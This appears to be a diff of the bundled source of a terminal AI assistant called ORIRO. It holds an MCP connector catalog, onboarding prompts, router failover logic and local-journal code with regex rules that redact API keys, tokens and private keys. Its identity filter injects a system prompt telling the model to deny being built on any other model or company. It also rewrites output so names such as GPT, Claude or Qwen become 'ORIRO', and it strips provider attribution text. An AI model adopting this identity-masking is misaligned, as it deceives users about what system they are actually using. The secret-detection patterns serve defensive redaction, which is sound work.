"https://ghost.org/docs/admin-api/" + } + ] + } + }, + { + "slug": "hugging-face", + "name": "Hugging Face", + "category": "AI and Research", "authType": "token", - "mcpUrl": "https://github.com/getsentry/sentry-mcp", - "description": "Sentry.io integration for error tracking and performance monitoring", + "mcpUrl": "https://github.com/evalstate/mcp-hfspace", + "description": "Use HuggingFace Spaces directly from Claude. Use Open Source Image Generation, Chat, Vision tasks and more. Supports Image, Audio and text uploads/downloads.", "configSchema": { "auth": "token", "fields": [ { "key": "access_token", - "label": "Sentry Access Token", + "label": "Hugging Face Access Token", "type": "password", - "help": "https://docs.sentry.io/api/" + "help": "https://huggingface.co/docs/api-inference" } ] } }, { - "slug": "vercel", - "name": "Vercel", - "category": "Development", - "authType": "oauth", - "mcpUrl": "https://mcp.vercel.com", - "description": "Vercel is the platform for deploying and hosting frontend apps and serverless functions. Its official remote MCP server lets ORIRO manage projects, deployments, domains, and environment variables.", + "slug": "replicate", + "name": "Replicate", + "category": "AI and Research", + "authType": "token", + "mcpUrl": "https://github.com/awkoy/replicate-flux-mcp", + "description": "Provides the ability to generate images via Replicate's API.", "configSchema": { - "auth": "oauth", + "auth": "token", + "fields": [ + { + "key": "access_token", + "label": "Replicate Access Token", + "type": "password", + "help": "https://replicate.com/docs/reference/http" + } + ] + } + }, + { + "slug": "wolfram-alpha", + "name": "Wolfram Alpha", + "category": "AI and Research", + "authType": "apikey", + "mcpUrl": "https://github.com/SecretiveShell/MCP-wolfram-alpha", + "description": "An MCP server for querying wolfram alpha API.", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Wolfram Alpha API Key", + "type": "password", + "help": "https://products.wolframalpha.com/api/" + } + ] + } + }, + { + "slug": "arxiv", + "name": "arXiv", + "category": "AI and Research", + "authType": "none", + "mcpUrl": "https://github.com/andybrandt/mcp-simple-arxiv", + "description": "MCP for LLM to search and read papers from arXiv", + "configSchema": { + "auth": "none", "fields": [], - "note": "Authorize via Vercel OAuth \u2014 no keys to paste.", - "docs": "https://vercel.com/docs/rest-api" + "note": "Public API \u2014 no credentials required." } }, { - "slug": "netlify", - "name": "Netlify", - "category": "Development", - "authType": "oauth", - "mcpUrl": "npm:@netlify/mcp", - "description": "Netlify is a web platform for building, deploying, and hosting modern sites and serverless functions. The official @netlify/mcp package (6 tools, node) exposes site, deploy, and build operations.", + "slug": "pubmed", + "name": "PubMed", + "category": "AI and Research", + "authType": "none", + "mcpUrl": "https://github.com/andybrandt/mcp-simple-pubmed", + "description": "MCP to search and read medical / life sciences papers from PubMed.", "configSchema": { - "auth": "oauth", + "auth": "none", "fields": [], - "note": "Authorize via Netlify OAuth \u2014 no keys to paste.", - "docs": "https://docs.netlify.com/api/get-started/" + "note": "Public API \u2014 no credentials required." } }, { - "slug": "cloudflare", - "name": "Cloudflare", - "category": "Development", + "slug": "octoprint", + "name": "OctoPrint", + "category": "Making and Hardware", "authType": "apikey", - "mcpUrl": "https://github.com/cloudflare/mcp-server-cloudflare", - "description": "Integration with Cloudflare services including Workers, KV, R2, and D1", + "mcpUrl": "", + "description": "OctoPrint is the leading 3D-printer web control software (8k+ stars). ORIRO connects via its REST API to monitor and control prints.", "configSchema": { "auth": "apikey", "fields": [ { "key": "api_key", - "label": "Cloudflare API Key", + "label": "OctoPrint API Key", "type": "password", - "help": "https://developers.cloudflare.com/api/" + "help": "https://docs.octoprint.org/en/master/api/" } ] } }, { - "slug": "aws", - "name": "AWS", - "category": "Development", + "slug": "arduino-cloud", + "name": "Arduino Cloud", + "category": "Making and Hardware", "authType": "apikey", - "mcpUrl": "https://github.com/awslabs/mcp", - "description": "AWS MCP servers for seamless integration with AWS services and resources.", + "mcpUrl": "", + "description": "Arduino Cloud is an IoT platform for managing devices and dashboards. ORIRO connects via its REST API for device and data management.", "configSchema": { "auth": "apikey", "fields": [ { "key": "api_key", - "label": "AWS API Key", + "label": "Arduino Cloud API Key", "type": "password", - "help": "https://docs.aws.amazon.com/" + "help": "https://docs.arduino.cc/arduino-cloud/" } ] } }, { - "slug": "datadog", - "name": "Datadog", - "category": "Development", - "authType": "apikey", - "mcpUrl": "https://github.com/traceloop/opentelemetry-mcp-server", - "description": "An MCP server for connecting to any OpenTelemetry backend (Datadog, Grafana, Dynatrace, Traceloop, etc.).", + "slug": "home-assistant", + "name": "Home Assistant", + "category": "Making and Hardware", + "authType": "token", + "mcpUrl": "https://github.com/tevonsb/homeassistant-mcp", + "description": "Access Home Assistant data and control devices (lights, switches, thermostats, etc).", "configSchema": { - "auth": "apikey", + "auth": "token", "fields": [ { - "key": "api_key", - "label": "Datadog API Key", + "key": "access_token", + "label": "Home Assistant Access Token", "type": "password", - "help": "https://docs.datadoghq.com/api/" + "help": "https://developers.home-assistant.io/docs/api/rest/" } ] } - }, - { - "slug": "slack", - "name": "Slack", - "category": "Communication", - "authType": "oauth", - "mcpUrl": "https://github.com/korotovsky/slack-mcp-server", - "description": "The most powerful MCP server for Slack Workspaces.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Slack OAuth \u2014 no keys to paste.", - "docs": "https://api.slack.com/" + } +]; +function connectorBySlug(slug) { + return CONNECTOR_CATALOG.find((c) => c.slug === slug); +} + +// src/connectors/connectors.ts +function file2() { + return join14(oriroDir(), "connectors.json"); +} +function readAdded() { + try { + const v = JSON.parse(readFileSync10(file2(), "utf8")); + return Array.isArray(v) ? v : []; + } catch { + return []; + } +} +function writeAdded(slugs) { + writeFileSync10(join14(ensureOriroDir(), "connectors.json"), JSON.stringify([...new Set(slugs)], null, 2), "utf8"); +} +function listConnectors(category) { + return category ? CONNECTOR_CATALOG.filter((c) => c.category === category) : CONNECTOR_CATALOG; +} +function connectorCategories() { + return [...new Set(CONNECTOR_CATALOG.map((c) => c.category))].sort(); +} +function isConnectorAdded(slug) { + return readAdded().includes(slug); +} +function addConnector(slug) { + const entry = connectorBySlug(slug); + if (!entry) return { ok: false, error: `unknown connector '${slug}' \u2014 run \`oriro connectors list\`` }; + if (!entry.mcpUrl) return { ok: false, error: `'${slug}' has no MCP source` }; + if (!entry.configSchema || typeof entry.configSchema !== "object") return { ok: false, error: `'${slug}' has no config schema` }; + writeAdded([...readAdded(), slug]); + return { ok: true }; +} +function addedConnectors() { + const added = new Set(readAdded()); + return CONNECTOR_CATALOG.filter((c) => added.has(c.slug)); +} +function removeConnector(slug) { + const before = readAdded(); + if (!before.includes(slug)) return false; + writeAdded(before.filter((s) => s !== slug)); + return true; +} + +// src/onboarding/steps.ts +function markerFile2(name) { + return join15(oriroDir(), name); +} +function settled(name) { + try { + return existsSync6(markerFile2(name)); + } catch { + return false; + } +} +function settle(name, data = {}) { + try { + mkdirSync8(oriroDir(), { recursive: true }); + writeFileSync11(markerFile2(name), `${JSON.stringify({ at: (/* @__PURE__ */ new Date()).toISOString(), ...data }, null, 2)} +`, "utf8"); + } catch { + } +} +var WELCOME = { + en: "Welcome to ORIRO-CLI", + es: "Bienvenido a ORIRO-CLI", + fr: "Bienvenue sur ORIRO-CLI", + de: "Willkommen bei ORIRO-CLI", + pt: "Bem-vindo ao ORIRO-CLI", + it: "Benvenuto in ORIRO-CLI", + nl: "Welkom bij ORIRO-CLI", + hi: "ORIRO-CLI \u092E\u0947\u0902 \u0906\u092A\u0915\u093E \u0938\u094D\u0935\u093E\u0917\u0924 \u0939\u0948", + zh: "\u6B22\u8FCE\u4F7F\u7528 ORIRO-CLI", + ja: "ORIRO-CLI \u3078\u3088\u3046\u3053\u305D", + ko: "ORIRO-CLI\uC5D0 \uC624\uC2E0 \uAC83\uC744 \uD658\uC601\uD569\uB2C8\uB2E4", + ru: "\u0414\u043E\u0431\u0440\u043E \u043F\u043E\u0436\u0430\u043B\u043E\u0432\u0430\u0442\u044C \u0432 ORIRO-CLI", + ar: "\u0645\u0631\u062D\u0628\u064B\u0627 \u0628\u0643 \u0641\u064A ORIRO-CLI", + tr: "ORIRO-CLI'ye ho\u015F geldiniz", + pl: "Witamy w ORIRO-CLI", + uk: "\u041B\u0430\u0441\u043A\u0430\u0432\u043E \u043F\u0440\u043E\u0441\u0438\u043C\u043E \u0434\u043E ORIRO-CLI", + vi: "Ch\xE0o m\u1EEBng \u0111\u1EBFn v\u1EDBi ORIRO-CLI", + id: "Selamat datang di ORIRO-CLI", + th: "\u0E22\u0E34\u0E19\u0E14\u0E35\u0E15\u0E49\u0E2D\u0E19\u0E23\u0E31\u0E1A\u0E2A\u0E39\u0E48 ORIRO-CLI", + sv: "V\xE4lkommen till ORIRO-CLI", + bn: "ORIRO-CLI \u09A4\u09C7 \u09B8\u09CD\u09AC\u09BE\u0997\u09A4\u09AE", + ta: "ORIRO-CLI \u0B95\u0BCD\u0B95\u0BC1 \u0BB5\u0BB0\u0BB5\u0BC7\u0BB1\u0BCD\u0B95\u0BBF\u0BB1\u0BCB\u0BAE\u0BCD", + te: "ORIRO-CLI \u0C15\u0C3F \u0C38\u0C4D\u0C35\u0C3E\u0C17\u0C24\u0C02", + mr: "ORIRO-CLI \u092E\u0927\u094D\u092F\u0947 \u0906\u092A\u0932\u0947 \u0938\u094D\u0935\u093E\u0917\u0924 \u0906\u0939\u0947" +}; +function welcomeIn(code) { + return WELCOME[(code || "en").toLowerCase().slice(0, 2)] ?? WELCOME.en ?? "Welcome to ORIRO-CLI"; +} +function hasSkillsChoice() { + return settled("skills-onboarded.json"); +} +async function runSkillsStep() { + const s = await loadOriroSkills(); + stdout5.write( + ` + ${accent("Skills")} \u2014 ${accent(String(s.all.length))} are bundled and ${accent("already active")} ${dim(`(${s.core.length} model-visible \xB7 ${s.tail.length} on-demand via /name)`)}. + ${dim("Nothing to install. Browse them anytime with ")}${accent("oriro skills list")}${dim(" or ")}${accent("/skill")}${dim(" in chat.")} +` + ); + const rl = createInterface4({ input: stdin4, output: stdout5 }); + try { + await ask(rl, ` ${dim("Press Enter to keep all active\u2026")} `); + } finally { + rl.close(); + } + settle("skills-onboarded.json", { count: s.all.length }); +} +function hasConnectorsChoice() { + return settled("connectors-onboarded.json"); +} +async function runConnectorsStep() { + const addable = listConnectors().filter((c) => c.mcpUrl).length; + stdout5.write( + ` + ${accent("Connectors")} \u2014 ${accent(String(addable))} MCP integrations available ${dim("(Slack, GitHub, Notion, Linear, \u2026)")}. + ${dim("Add one now (type its slug), or press Enter to skip \u2014 add anytime with ")}${accent("/connector")}${dim(" or ")}${accent("oriro connectors")}${dim(".")} +` + ); + const rl = createInterface4({ input: stdin4, output: stdout5 }); + try { + const slug = (await ask(rl, ` ${accent("\u203A")} Connector slug ${dim("(or Enter to skip)")}: `)).trim(); + if (slug) { + const res = addConnector(slug); + stdout5.write(res.ok ? ` ${accent("\u2713")} added ${accent(slug)} \u2014 recorded locally. +` : ` ${dim(res.error ?? "skipped")} +`); + } else { + stdout5.write(` ${dim("Skipped \u2014 none added. You can add your own MCP server with `oriro connectors setup`.")} +`); + } + } finally { + rl.close(); + } + settle("connectors-onboarded.json", {}); +} +function hasModelsChoice() { + return settled("models-onboarded.json"); +} +async function runModelsStep() { + stdout5.write( + ` + ${bold(accent("ORIRO Gauss + Avila"))} ${dim("(V2.4)")} \u2014 your own ${accent("on-device")} models. + ${dim("Status:")} ${accent("completing training")} ${dim("\u2014 currently baking. When they land they'll:")} + ${dim("\u2022")} join your ${accent("router race")} alongside the free routers ${dim("(and your BYOK)")} + ${dim("\u2022")} run ${accent("fully on this machine")} ${dim("\u2014 $0, no key, private")} + ${dim("\u2022")} learn from your accepted edits via a ${accent("nightly on-device pass")} ${dim("(opt-in, with consent)")} + ${accent("\u25F7 Coming soon")} ${dim("\u2014 you'll be prompted to download + enable them when they're ready.")} +` + ); + const rl = createInterface4({ input: stdin4, output: stdout5 }); + try { + await ask(rl, ` ${dim("Press Enter to continue\u2026")} `); + } finally { + rl.close(); + } + settle("models-onboarded.json", { status: "training", version: "2.4" }); +} + +// src/onboarding/wrapper.ts +function isFirstRun() { + return !isLanguageConfigured() || !hasScribeChoice(); +} +async function askYesNo(question) { + const rl = createInterface5({ input: stdin5, output: stdout6 }); + try { + const a = (await ask(rl, `${question} ${dim("[Y/n]")} `)).trim().toLowerCase(); + return a === "" || a === "y" || a === "yes"; + } finally { + rl.close(); + } +} +async function runOnboarding() { + stdout6.write(banner()); + await runLanguageOnboarding(); + await activateGuardian(); + stdout6.write(` ${accent("\u{1F6E1} Guardian V3")} is on by default. ${accent("\u{1F9ED} Head")} is ready. + +`); + if (!isAvatarConfigured()) await runAvatarOnboarding(); + stdout6.write(` + ${bold(accent(welcomeIn(getTerminalLanguage().code)))} +`); + if (!hasSkillsChoice()) await runSkillsStep(); + if (!hasConnectorsChoice()) await runConnectorsStep(); + if (!hasRouterChoice()) await runRouterOnboarding(); + if (!hasModelsChoice()) await runModelsStep(); + if (!hasScribeChoice()) { + const yes = await askYesNo( + "Remember with me? The Scriber keeps your work in context on THIS machine only \u2014 it never leaves it." + ); + setScribeConsent(yes); + stdout6.write(yes ? ` ${accent("\u{1F4D3} Scriber")} on. +` : ` ${dim("Scriber off \u2014 `oriro scribe on` anytime.")} +`); + } + stdout6.write(` + ${accent("ORIRO is ready.")} ${dim("Type to chat \xB7 /exit to leave")} + +`); +} + +// src/onboarding/assemble.ts +import { + createAgentSession as createAgentSession2, + AuthStorage as AuthStorage2, + ModelRegistry as ModelRegistry2, + SessionManager as SessionManager2, + SettingsManager, + DefaultResourceLoader, + getAgentDir +} from "@earendil-works/pi-coding-agent"; + +// src/routers/mux-provider.ts +import { streamSimple as piStreamSimple, createAssistantMessageEventStream } from "@earendil-works/pi-ai"; +import { register as registerOpenAICompletions } from "@earendil-works/pi-ai/openai-completions"; + +// src/routers/mux.ts +import { existsSync as existsSync7, mkdirSync as mkdirSync9, readFileSync as readFileSync11, writeFileSync as writeFileSync12 } from "fs"; +import { join as join16 } from "path"; +var COOLDOWN_DEFAULT_MS = 6e4; +var UNHEALTHY_AFTER = 3; +var RouterMux = class { + stats = /* @__PURE__ */ new Map(); + now; + constructor(routerIds, now = () => Date.now()) { + this.now = now; + for (const id of routerIds) { + this.stats.set(id, { + id, + latencyMs: Number.POSITIVE_INFINITY, + healthy: true, + cooldownUntil: 0, + consecutiveErrors: 0 + }); + } + } + /** Available routers, best-first (healthy, not cooling down, lowest latency). */ + ranked() { + const t = this.now(); + return [...this.stats.values()].filter((s) => s.healthy && s.cooldownUntil <= t).sort((a, b) => a.latencyMs - b.latencyMs).map((s) => s.id); + } + recordSuccess(id, latencyMs) { + const s = this.stats.get(id); + if (!s) return; + s.latencyMs = s.latencyMs === Number.POSITIVE_INFINITY ? latencyMs : 0.7 * s.latencyMs + 0.3 * latencyMs; + s.consecutiveErrors = 0; + s.healthy = true; + } + recordFailure(id, err) { + const s = this.stats.get(id); + if (!s) return; + s.consecutiveErrors += 1; + if (err?.status === 429) { + s.cooldownUntil = this.now() + (err.retryAfterMs ?? COOLDOWN_DEFAULT_MS); + } + if (s.consecutiveErrors >= UNHEALTHY_AFTER) s.healthy = false; + } + /** Run a call through the best router, failing over on error. Throws only if all exhausted. */ + async run(call) { + const order = this.ranked(); + if (order.length === 0) { + throw new Error( + "All selected routers are rate-limited or unavailable. Add a BYOK key, select more free routers, or retry shortly." + ); + } + let lastErr; + for (const id of order) { + const t0 = this.now(); + try { + const result = await call(id); + this.recordSuccess(id, this.now() - t0); + return { result, routerId: id }; + } catch (e) { + const err = e; + this.recordFailure(id, { status: err?.status, retryAfterMs: err?.retryAfterMs }); + lastErr = e; + } + } + throw lastErr instanceof Error ? lastErr : new Error("All selected routers failed this request."); + } + snapshot() { + return [...this.stats.values()].map((s) => ({ ...s })); + } + load(stats) { + for (const s of stats) if (this.stats.has(s.id)) this.stats.set(s.id, { ...s }); + } +}; +function healthStatePath(dir) { + return join16(dir, "routers", "health.json"); +} +function saveMuxState(dir, stats) { + const p = healthStatePath(dir); + mkdirSync9(join16(dir, "routers"), { recursive: true }); + writeFileSync12(p, JSON.stringify(stats, null, 2), "utf8"); +} +function loadMuxState(dir) { + const p = healthStatePath(dir); + if (!existsSync7(p)) return []; + try { + const stats = JSON.parse(readFileSync11(p, "utf8")); + return stats.map((s) => ({ ...s, latencyMs: Number.isFinite(s.latencyMs) ? s.latencyMs : Number.POSITIVE_INFINITY })); + } catch { + return []; + } +} + +// src/identity/filter.ts +var ORIRO_IDENTITY = "You are ORIRO, a free on-device AI assistant in the user's terminal. You are ORIRO and only ORIRO. Never state, imply, or reveal that you are, or are built on, any other model or company (such as GPT, Claude, Gemini, Qwen, Llama, Mistral, DeepSeek, OpenAI, Anthropic, Google, or Meta). If asked what you are, you are ORIRO."; +var BANNED_TEST = /\b(qwen|llama|mistral|mixtral|deepseek|gpt(?:-?\d(?:\.\d)?)?|claude|gemini|openai|anthropic|google|meta\s?ai|alibaba)\b/i; +var BANNED_REPLACE = new RegExp(BANNED_TEST.source, "gi"); +var SELF_REF = /\b(i am|i'm|i was|based on|powered by|my name|my model|my architecture|trained|created by|made by|built (?:on|by)|developed by)\b/i; +var SELF_INTRO = /\b(i am|i'm)\s+(a|an)\b/i; +var AI_NOUN = /\b(assistant|ai|model|language model|bot|agent|chatbot)\b/i; +function applyIdentity(context) { + const sys = context.systemPrompt ? `${ORIRO_IDENTITY} + +${context.systemPrompt}` : ORIRO_IDENTITY; + return { ...context, systemPrompt: sys }; +} +function scrubIdentity(text) { + return text.replace(/[^.?!\n]+[.?!]?/g, (sentence) => { + let s = SELF_REF.test(sentence) && BANNED_TEST.test(sentence) ? sentence.replace(BANNED_REPLACE, "ORIRO") : sentence; + if (!/\boriro\b/i.test(s) && SELF_INTRO.test(s) && AI_NOUN.test(s)) { + s = s.replace(SELF_INTRO, "I am ORIRO, $2"); } - }, - { - "slug": "discord", - "name": "Discord", - "category": "Communication", - "authType": "token", - "mcpUrl": "https://github.com/SaseQ/discord-mcp", - "description": "A MCP server for the Discord integration. Enable your AI assistants to seamlessly interact with Discord. Enhance your Discord experience with powerful automation capabilities.", - "configSchema": { - "auth": "token", - "fields": [ - { - "key": "access_token", - "label": "Discord Access Token", - "type": "password", - "help": "https://discord.com/developers/docs" - } - ] + return s; + }); +} +var PROVIDER_AD = /(?:\n+[ \t]*-{2,}[ \t]*)*\n*[ \t]*(?:\*\*)?(?:🌸[^\n]*|(?:\*\*)?Ad(?:\*\*)?[ \t]*🌸?|Support\s+Pollinations|Powered by\s+Pollinations)[\s\S]*$/i; +function stripProviderNoise(text) { + let t = text.replace(PROVIDER_AD, ""); + t = t.replace(/\[[^\]]*\]\(https?:\/\/[^)]*(?:pollinations\.ai\/redirect|\/redirect\/kofi|ko-?fi\.com)[^)]*\)/gi, ""); + return t.replace(/\n{3,}/g, "\n\n").replace(/[ \t]*-{3,}[ \t]*$/g, "").trimEnd(); +} +function scrubOutput(text) { + return stripProviderNoise(scrubIdentity(text)); +} +function scrubMessageIdentity(msg) { + return { + ...msg, + content: msg.content.map( + (c) => c.type === "text" ? { ...c, text: scrubOutput(c.text) } : c + ) + }; +} + +// src/routers/tool-sanitize.ts +var CONTROL_TOKEN = /<\|[^|]*\|>/g; +var RECIPIENT_PREFIX = /^(?:to=)?(?:functions?|tools?|recipient)[.=]/i; +var RECIPIENT = /(?:to=)?(?:functions?|tools?|recipient)[.=]([A-Za-z0-9_.:-]+)/i; +var CLEAN_NAME = /^[A-Za-z0-9_.:-]+$/; +function sanitizeToolName(raw) { + if (!raw) return raw; + if (!raw.includes("<|") && !RECIPIENT_PREFIX.test(raw)) return raw; + const base = (raw.split("<|")[0] ?? "").replace(RECIPIENT_PREFIX, "").trim(); + if (base && CLEAN_NAME.test(base)) return base; + const recip = raw.match(RECIPIENT); + if (recip?.[1]) return recip[1]; + const m = raw.replace(CONTROL_TOKEN, " ").match(/[A-Za-z_][A-Za-z0-9_.:-]*/); + return m ? m[0] : raw; +} +function sanitizeMessageToolCalls(msg) { + let changed = false; + const content = msg.content.map((c) => { + if (c.type === "toolCall") { + const name = sanitizeToolName(c.name); + if (name !== c.name) { + changed = true; + return { ...c, name }; + } } - }, + return c; + }); + return changed ? { ...msg, content } : msg; +} +function sanitizeEventToolCalls(ev) { + let next = ev; + if ("partial" in next && next.partial) { + const partial = sanitizeMessageToolCalls(next.partial); + if (partial !== next.partial) next = { ...next, partial }; + } + if (next.type === "toolcall_end" && next.toolCall) { + const name = sanitizeToolName(next.toolCall.name); + if (name !== next.toolCall.name) next = { ...next, toolCall: { ...next.toolCall, name } }; + } + return next; +} + +// src/scribe/scribe-pi.ts +import { existsSync as existsSync12, readFileSync as readFileSync17 } from "fs"; +import { Type } from "typebox"; + +// src/scribe/capture.ts +import { closeSync as closeSync2, fsyncSync as fsyncSync2, mkdirSync as mkdirSync12, openSync as openSync2, writeSync as writeSync2 } from "fs"; +import { join as join18 } from "path"; + +// src/scribe/digest.ts +import { existsSync as existsSync8, mkdirSync as mkdirSync10, readFileSync as readFileSync12, writeFileSync as writeFileSync13 } from "fs"; + +// src/scribe/paths.ts +import { join as join17 } from "path"; +function scribeDir() { + const override = process.env.ORIRO_SCRIBE_DIR?.trim(); + return override && override.length > 0 ? override : join17(CONFIG_DIR, "scribe"); +} +function journalFile(date) { + return join17(scribeDir(), `${date}.md`); +} +function digestFile() { + return join17(scribeDir(), "_digest.md"); +} +function timelineFile() { + return join17(scribeDir(), "_timeline.md"); +} +function artifactsDir() { + return join17(scribeDir(), "artifacts"); +} + +// src/scribe/digest.ts +var DIGEST_CAP = 8192; +var TIMELINE_DAY_CAP = 400; +function read(file5) { + return existsSync8(file5) ? readFileSync12(file5, "utf8") : ""; +} +function updateDigest(summary, context) { + mkdirSync10(scribeDir(), { recursive: true }); + const existing = read(digestFile()); + let contextBlock = context?.trim(); + if (!contextBlock) { + const m = existing.match(/## Context\n([\s\S]*?)\n## /); + contextBlock = m?.[1]?.trim() ?? "_(not set yet)_"; + } + const recentMatch = existing.match(/## Recent activity[^\n]*\n([\s\S]*)$/); + const priorRecent = recentMatch?.[1]?.trim() ?? ""; + let recent = summary.trim() ? `- ${summary.trim()} +${priorRecent}` : priorRecent; + const header2 = `# ORIRO Scribe \u2014 Digest + +## Context +${contextBlock} + +## Recent activity (newest first) +`; + let out = header2 + recent; + while (Buffer.byteLength(out, "utf8") > DIGEST_CAP && recent.includes("\n")) { + recent = recent.slice(0, recent.lastIndexOf("\n")).trimEnd(); + out = header2 + recent; + } + writeFileSync13(digestFile(), out, "utf8"); +} +function updateTimeline(date, topic) { + mkdirSync10(scribeDir(), { recursive: true }); + const clean = topic.replace(/\s+/g, " ").trim(); + if (!clean) return; + const lines = read(timelineFile()).split("\n").filter(Boolean); + const header2 = "# ORIRO Scribe \u2014 Timeline"; + const body = lines.filter((l) => l !== header2); + const idx = body.findIndex((l) => l.startsWith(`- ${date} \xB7`)); + if (idx === -1) { + body.push(`- ${date} \xB7 ${clean}`.slice(0, TIMELINE_DAY_CAP + date.length + 6)); + } else { + let merged = `${body[idx]}; ${clean}`; + if (merged.length > TIMELINE_DAY_CAP) merged = `${merged.slice(0, TIMELINE_DAY_CAP)}\u2026`; + body[idx] = merged; + } + body.sort(); + writeFileSync13(timelineFile(), `${header2} +${body.join("\n")} +`, "utf8"); +} +function readDigest() { + return read(digestFile()); +} +function readTimeline() { + return read(timelineFile()); +} + +// src/scribe/journal.ts +import { + closeSync, + existsSync as existsSync9, + fsyncSync, + mkdirSync as mkdirSync11, + openSync, + readFileSync as readFileSync13, + writeSync +} from "fs"; +function appendJournal(date, content) { + mkdirSync11(scribeDir(), { recursive: true }); + const fd = openSync(journalFile(date), "a"); + try { + writeSync(fd, content.endsWith("\n") ? content : `${content} +`); + fsyncSync(fd); + } finally { + closeSync(fd); + } +} +function readJournal(date) { + const f = journalFile(date); + return existsSync9(f) ? readFileSync13(f, "utf8") : ""; +} + +// src/scribe/redact.ts +var RULES = [ { - "slug": "telegram", - "name": "Telegram", - "category": "Communication", - "authType": "token", - "mcpUrl": "https://github.com/chaindead/telegram-mcp", - "description": "Telegram API integration for accessing user data, managing dialogs (chats, channels, groups), retrieving messages, and handling read status", - "configSchema": { - "auth": "token", - "fields": [ - { - "key": "access_token", - "label": "Telegram Access Token", - "type": "password", - "help": "https://core.telegram.org/bots/api" - } - ] + label: "private-key", + re: /-----BEGIN [A-Z ]*PRIVATE KEY-----[\s\S]*?-----END [A-Z ]*PRIVATE KEY-----/g + }, + // Lone PEM markers — a key SPLIT across fields/turns leaves only a BEGIN-head or an END-tail in + // one field. A field carrying either marker is key material: redact the marker + its adjacent body + // (forward from BEGIN, backward to END) so no sub-threshold fragment can ever sit on disk. + { label: "private-key", re: /-----BEGIN[A-Z ]*PRIVATE KEY-----[\s\S]*/g }, + { label: "private-key", re: /[\s\S]*-----END[A-Z ]*PRIVATE KEY-----/g }, + { label: "anthropic-key", re: /sk-ant-[A-Za-z0-9_-]{20,}/g }, + { label: "openrouter-key", re: /sk-or-v1-[A-Za-z0-9]{20,}/g }, + // Stripe-style keys (sk_live_/pk_live_/rk_test_/…), underscore segments. + { label: "stripe-key", re: /\b[srp]k_(?:live|test)_[A-Za-z0-9]{16,}/g }, + // Generic sk- secret keys — allow hyphenated segments (sk-live-…, sk-proj-…) so a second + // hyphen no longer breaks the match (the gap the Scriber spike caught). + { label: "secret-key-sk", re: /sk[-_][A-Za-z0-9][A-Za-z0-9-]{14,}/g }, + { label: "google-key", re: /AIza[0-9A-Za-z_-]{30,}/g }, + { label: "groq-key", re: /gsk_[A-Za-z0-9]{20,}/g }, + { label: "github-pat", re: /github_pat_[A-Za-z0-9_]{20,}/g }, + { label: "github-token", re: /gh[posr]_[A-Za-z0-9]{30,}/g }, + { label: "xai-key", re: /xai-[A-Za-z0-9]{20,}/g }, + { label: "aws-key", re: /AKIA[0-9A-Z]{16}/g }, + { label: "jwt", re: /eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{6,}/g }, + { label: "telegram-token", re: /\b\d{8,10}:[A-Za-z0-9_-]{30,}\b/g }, + // Auth headers / inline credentials (any provider) — the audit found these leaked. + { label: "bearer-token", re: /\bbearer\s+[A-Za-z0-9._~+/=-]{12,}/gi }, + { label: "basic-auth", re: /\bbasic\s+[A-Za-z0-9+/=]{12,}/gi }, + // key: value / key=value secrets (password, token, secret, api_key, access_key, …). + { label: "secret-kv", re: /\b(?:pass(?:word|wd)?|pwd|secret|token|api[_-]?key|access[_-]?key|auth)\s*[:=]\s*\S{3,}/gi }, + // Credentials embedded in a URL: scheme://user:PASSWORD@host → redact the password. + { label: "url-credential", re: /\b([a-z][a-z0-9+.-]*:\/\/[^/\s:@]+:)[^/\s@]+(@)/gi }, + { label: "email", re: /[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/g }, + { label: "phone", re: /(?:\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]\d{3}[-.\s]\d{4}/g } +]; +function marker(label) { + return `\u27E8REDACTED:${label}\u27E9`; +} +function entropy(s) { + const freq = /* @__PURE__ */ new Map(); + for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1); + let h = 0; + for (const n of freq.values()) { + const p = n / s.length; + h -= p * Math.log2(p); + } + return h; +} +function looksLikeUnknownSecret(token) { + if (token.length < 32) return false; + if (token.includes("\u27E8REDACTED:")) return false; + if (/^[0-9a-f]+$/i.test(token)) return false; + const classes = (/[a-z]/.test(token) ? 1 : 0) + (/[A-Z]/.test(token) ? 1 : 0) + (/[0-9]/.test(token) ? 1 : 0); + if (classes < 2) return false; + return entropy(token) >= 4.2; +} +function redact(input) { + const counts = /* @__PURE__ */ new Map(); + let text = input; + for (const rule of RULES) { + text = text.replace(rule.re, () => { + counts.set(rule.label, (counts.get(rule.label) ?? 0) + 1); + return marker(rule.label); + }); + } + text = text.split(/(\s+)/).map((tok) => { + if (looksLikeUnknownSecret(tok)) { + counts.set("high-entropy", (counts.get("high-entropy") ?? 0) + 1); + return marker("high-entropy"); } - }, - { - "slug": "microsoft-teams", - "name": "Microsoft Teams", - "category": "Communication", - "authType": "oauth", - "mcpUrl": "https://github.com/InditexTech/mcp-teams-server", - "description": "MCP server that integrates Microsoft Teams messaging (read, post, mention, list members and threads)", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Microsoft Teams OAuth \u2014 no keys to paste.", - "docs": "https://learn.microsoft.com/graph/teams-concept-overview" + return tok; + }).join(""); + const redactions = [...counts.entries()].map(([label, count]) => ({ + label, + count + })); + return { text, redactions }; +} +function containsSecret(text) { + for (const rule of RULES) { + rule.re.lastIndex = 0; + if (rule.re.test(text)) return true; + } + for (const tok of text.split(/\s+/)) { + if (looksLikeUnknownSecret(tok)) return true; + } + return false; +} + +// src/scribe/capture.ts +var INLINE_CAP = 4e3; +function sideFile(date, ts, kind, full) { + mkdirSync12(artifactsDir(), { recursive: true }); + const name = `${date}_${ts.replace(/[:.]/g, "-")}_${kind}.md`; + const p = join18(artifactsDir(), name); + const fd = openSync2(p, "w"); + try { + writeSync2(fd, full); + fsyncSync2(fd); + } finally { + closeSync2(fd); + } + return p; +} +function field(date, ts, label, value) { + if (!value || !value.trim()) return ""; + if (value.length > INLINE_CAP) { + const ref = sideFile(date, ts, label.toLowerCase().replace(/\s+/g, "-"), value); + return `**${label}** (full \u2192 ${ref}): +${value.slice(0, INLINE_CAP)} +\u2026(truncated; full content in artifact) + +`; + } + return `**${label}:** +${value} + +`; +} +function renderTurn(rec) { + let md = `## ${rec.ts} + +`; + md += field(rec.date, rec.ts, "User", rec.user); + md += field(rec.date, rec.ts, "Router", rec.router); + if (rec.tools?.length) md += `**Tools:** ${rec.tools.join(", ")} + +`; + if (rec.files?.length) md += 